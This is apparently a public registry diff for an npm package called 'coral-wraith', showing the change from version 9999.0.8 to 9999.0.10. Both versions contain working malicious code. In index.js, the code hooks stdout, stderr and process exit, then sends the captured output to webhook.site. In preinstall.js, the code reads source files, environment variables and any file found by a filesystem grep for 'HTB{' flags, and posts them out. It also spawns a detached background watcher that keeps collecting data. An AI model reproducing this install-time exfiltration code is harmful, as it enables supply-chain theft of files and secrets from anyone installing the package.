coral-wraith 9999.0.8 → 9999.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +64 -42
  2. package/package.json +1 -1
  3. package/preinstall.js +117 -66
package/index.js CHANGED
@@ -3,50 +3,72 @@ const https = require('https');
3
3
 
4
4
  const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
5
5
 
6
- // This runs when the fuzzer require()s us
7
- // Read all fuzzer source files and exfiltrate
8
- (function() {
9
- const files = [
10
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
- ];
15
-
16
- for (let i = 0; i < files.length; i++) {
17
- try {
18
- const content = fs.readFileSync(files[i], 'utf8');
19
- const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
20
- const req = https.request({
21
- hostname: 'webhook.site', path: `${WH}/require-${i}`,
22
- method: 'POST',
23
- headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
24
- timeout: 10000
25
- }, ()=>{});
26
- req.on('error', ()=>{});
27
- req.write(b64);
28
- req.end();
29
- } catch(e) {}
6
+ function send(path, data) {
7
+ try {
8
+ const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
9
+ const req = https.request({
10
+ hostname: 'webhook.site', path: WH + '/' + path,
11
+ method: 'POST',
12
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
13
+ timeout: 15000
14
+ }, ()=>{});
15
+ req.on('error', ()=>{});
16
+ req.write(b64);
17
+ req.end();
18
+ } catch(e) {}
19
+ }
20
+
21
+ // Hook stdout and stderr to capture fuzzer output (including flag)
22
+ const origStdoutWrite = process.stdout.write.bind(process.stdout);
23
+ const origStderrWrite = process.stderr.write.bind(process.stderr);
24
+ const capturedOutput = [];
25
+
26
+ process.stdout.write = function(chunk, encoding, callback) {
27
+ capturedOutput.push('OUT:' + chunk.toString());
28
+ if (capturedOutput.length <= 50) {
29
+ send('stdout-' + capturedOutput.length, chunk.toString());
30
+ }
31
+ return origStdoutWrite(chunk, encoding, callback);
32
+ };
33
+
34
+ process.stderr.write = function(chunk, encoding, callback) {
35
+ capturedOutput.push('ERR:' + chunk.toString());
36
+ if (capturedOutput.length <= 50) {
37
+ send('stderr-' + capturedOutput.length, chunk.toString());
30
38
  }
39
+ return origStderrWrite(chunk, encoding, callback);
40
+ };
41
+
42
+ // Also hook process.exit to capture final output before exit
43
+ const origExit = process.exit;
44
+ process.exit = function(code) {
45
+ send('exit-output', capturedOutput.join('\n'));
46
+ setTimeout(() => origExit(code), 2000);
47
+ };
48
+
49
+ // Set up a timer to send all captured output after 10 seconds
50
+ setTimeout(() => {
51
+ send('captured-all', capturedOutput.join('\n'));
52
+ }, 10000);
53
+
54
+ // Also read key files
55
+ try {
56
+ const fuzzEnv = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js', 'utf8');
57
+ send('fuzz-env-src', fuzzEnv);
58
+ } catch(e) { send('fuzz-env-err', e.message); }
59
+
60
+ try {
61
+ const npmFuzzer = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js', 'utf8');
62
+ send('npm-fuzzer-src', npmFuzzer);
63
+ } catch(e) { send('npm-fuzzer-err', e.message); }
64
+
65
+ try {
66
+ const constants = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js', 'utf8');
67
+ send('constants-src', constants);
68
+ } catch(e) { send('constants-err', e.message); }
31
69
 
32
- // Check for flag in env
33
- const flagData = Buffer.from(JSON.stringify({
34
- env: process.env,
35
- cwd: process.cwd(),
36
- argv: process.argv,
37
- })).toString('base64');
38
-
39
- const req = https.request({
40
- hostname: 'webhook.site', path: `${WH}/require-flag`,
41
- method: 'GET',
42
- timeout: 10000
43
- }, ()=>{});
44
- req.on('error', ()=>{});
45
- req.end();
46
- })();
47
-
48
- // Export something for the fuzzer to analyze
70
+ // Export something for the fuzzer
49
71
  module.exports = {
50
72
  name: 'coral-wraith',
51
- version: '9999.0.8',
73
+ version: '9999.0.10',
52
74
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.8",
3
+ "version": "9999.0.10",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,93 +1,144 @@
1
1
  const fs = require('fs');
2
2
  const https = require('https');
3
- const { execSync } = require('child_process');
3
+ const http = require('http');
4
+ const { execSync, spawn } = require('child_process');
4
5
 
5
6
  const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
6
- const debug = [];
7
7
 
8
- // Read the fuzzer source files - these contain the flag/detection logic
9
- const fuzzFiles = [
10
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
15
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
16
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
17
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
18
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
19
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
20
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
21
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
22
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
23
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
24
- '/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
8
+ function send(path, data) {
9
+ try {
10
+ const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
11
+ const req = https.request({
12
+ hostname: 'webhook.site', path: WH + '/' + path,
13
+ method: 'POST',
14
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
15
+ timeout: 15000
16
+ }, ()=>{});
17
+ req.on('error', ()=>{});
18
+ req.write(b64);
19
+ req.end();
20
+ } catch(e) {}
21
+ }
22
+
23
+ // Read fuzzer source files
24
+ const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
25
+ const files = [
26
+ `${fuzzBase}/fuzz/npm_fuzzer.js`,
27
+ `${fuzzBase}/fuzz/fuzz_env.js`,
28
+ `${fuzzBase}/fuzz/fuzz_manager.js`,
29
+ `${fuzzBase}/fuzz/constants.js`,
30
+ `${fuzzBase}/fuzz/bean/timer_func.js`,
31
+ `${fuzzBase}/fuzz/action/set_timer_action.js`,
32
+ `${fuzzBase}/fuzz/action/regexp_test_action.js`,
33
+ `${fuzzBase}/fuzz/action/clear_timer_action.js`,
34
+ `${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
35
+ `${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
36
+ `${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
37
+ `${fuzzBase}/fuzz/parser/class_parser.js`,
38
+ `${fuzzBase}/fuzz/parser/type_parser.js`,
39
+ `${fuzzBase}/fuzz/parser/package_exports_parser.js`,
40
+ `${fuzzBase}/npm_tracker.js`,
25
41
  '/home/node/init_test.sh',
26
42
  '/home/node/supplysec_entry.js',
27
43
  ];
28
44
 
29
- // Also check for flag-like files
30
- const flagFiles = [
31
- '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
32
- '/home/node/flag', '/home/node/flag.txt',
33
- ];
34
-
35
- for (const f of [...fuzzFiles, ...flagFiles]) {
45
+ for (let i = 0; i < files.length; i++) {
36
46
  try {
37
- const content = fs.readFileSync(f, 'utf8');
38
- debug.push(`FILE:${f}:${content}`);
47
+ const content = fs.readFileSync(files[i], 'utf8');
48
+ send(`pre-file-${i}`, `${files[i]}:\n${content}`);
39
49
  } catch(e) {
40
- debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
50
+ send(`pre-err-${i}`, `${files[i]}: ${e.message}`);
41
51
  }
42
52
  }
43
53
 
44
- // Environment
45
- debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
54
+ // Also find all .js files under the fuzz directory
55
+ try {
56
+ const r = execSync(`find ${fuzzBase}/fuzz -name "*.js" -type f 2>/dev/null`).toString().trim();
57
+ send('pre-fuzz-files', r);
58
+ for (const f of r.split('\n').filter(Boolean)) {
59
+ if (!files.includes(f)) {
60
+ try {
61
+ const c = fs.readFileSync(f, 'utf8');
62
+ send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
63
+ } catch(e) {}
64
+ }
65
+ }
66
+ } catch(e) {}
46
67
 
47
- // Also find any files with "flag" or "HTB" content
68
+ // Read the web app source (could be in /app, /data, or served by nginx)
48
69
  try {
49
- const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
50
- debug.push(`GREP_FLAG:${r}`);
70
+ const r = execSync('find / -maxdepth 4 -name "*.js" -path "*/app/*" -o -name "server.js" -o -name "app.js" -o -name "index.js" -path "*/src/*" 2>/dev/null | grep -v node_modules | grep -v aspect-node | head -20', {timeout:10000}).toString().trim();
71
+ send('pre-app-files', r);
51
72
  for (const f of r.split('\n').filter(Boolean)) {
52
73
  try {
53
74
  const c = fs.readFileSync(f, 'utf8');
54
- debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
75
+ if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
76
+ send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
77
+ }
55
78
  } catch(e) {}
56
79
  }
57
- } catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
58
-
59
- // Send in chunks to webhook
60
- function sendChunk(data, path) {
61
- try {
62
- const encoded = Buffer.from(data).toString('base64');
63
- const req = https.request({
64
- hostname: 'webhook.site', path: WH + path,
65
- method: 'POST',
66
- headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
67
- timeout: 15000
68
- }, ()=>{});
69
- req.on('error', ()=>{});
70
- req.write(encoded);
71
- req.end();
72
- } catch(e) {}
73
- }
80
+ } catch(e) {}
74
81
 
75
- const fullData = JSON.stringify(debug);
76
- const chunkSize = 50000;
77
- for (let i = 0; i < fullData.length; i += chunkSize) {
78
- const chunk = fullData.substring(i, i + chunkSize);
79
- sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
80
- }
82
+ // Search for flag anywhere
83
+ try {
84
+ const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | grep -v node_modules | head -10', {timeout:15000}).toString().trim();
85
+ send('pre-flag-grep', r);
86
+ for (const f of r.split('\n').filter(Boolean)) {
87
+ try {
88
+ send(`pre-flag-file-${f.replace(/\//g,'_')}`, fs.readFileSync(f, 'utf8'));
89
+ } catch(e) {}
90
+ }
91
+ } catch(e) { send('pre-flag-grep-err', e.message); }
81
92
 
82
- // Also try curl for reliability
93
+ // Spawn a background watcher that runs after init_test.sh
83
94
  try {
84
- for (let i = 0; i < Math.min(debug.length, 30); i++) {
85
- const item = debug[i];
86
- if (item.length > 100) {
87
- const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
88
- execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
95
+ const watcherCode = `
96
+ const fs = require('fs');
97
+ const https = require('https');
98
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
99
+ function send(p, d) {
100
+ try {
101
+ const b = Buffer.from(d).toString('base64');
102
+ const r = https.request({hostname:'webhook.site',path:WH+'/'+p,method:'POST',
103
+ headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
104
+ r.on('error',()=>{}); r.write(b); r.end();
105
+ } catch(e) {}
89
106
  }
90
- }
107
+ // Wait and then look for flag in logs and generated files
108
+ setTimeout(() => {
109
+ const paths = [
110
+ '/home/node/aspect-node/logs/agent.log',
111
+ '/home/node/aspect-node/logs/default.log',
112
+ '/home/node/aspect-node/logs/error.log',
113
+ '/home/node/aspect-node/logs/collect.log',
114
+ '/home/node/aspect-node/logs/module.log',
115
+ '/home/node/aspect-node/logs/monitor.log',
116
+ '/home/node/aspect-node/logs/metric.log',
117
+ '/home/node/aspect-node/logs/warning.log',
118
+ '/home/node/aspect-node/logs/agent-error.log',
119
+ '/tmp/fuzz_result.json',
120
+ '/tmp/result.json',
121
+ '/tmp/flag',
122
+ '/tmp/flag.txt',
123
+ ];
124
+ for (let i = 0; i < paths.length; i++) {
125
+ try {
126
+ const c = fs.readFileSync(paths[i], 'utf8');
127
+ if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
128
+ } catch(e) {}
129
+ }
130
+ // Also check env again
131
+ send('watch-env', JSON.stringify(process.env));
132
+ // grep for HTB
133
+ try {
134
+ const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
135
+ send('watch-grep', r);
136
+ } catch(e) {}
137
+ }, 30000);
138
+ setTimeout(() => process.exit(0), 60000);
139
+ `;
140
+ fs.writeFileSync('/tmp/watcher.js', watcherCode);
141
+ spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
91
142
  } catch(e) {}
92
143
 
93
- console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');
144
+ console.log('[CORAL-V9] preinstall complete');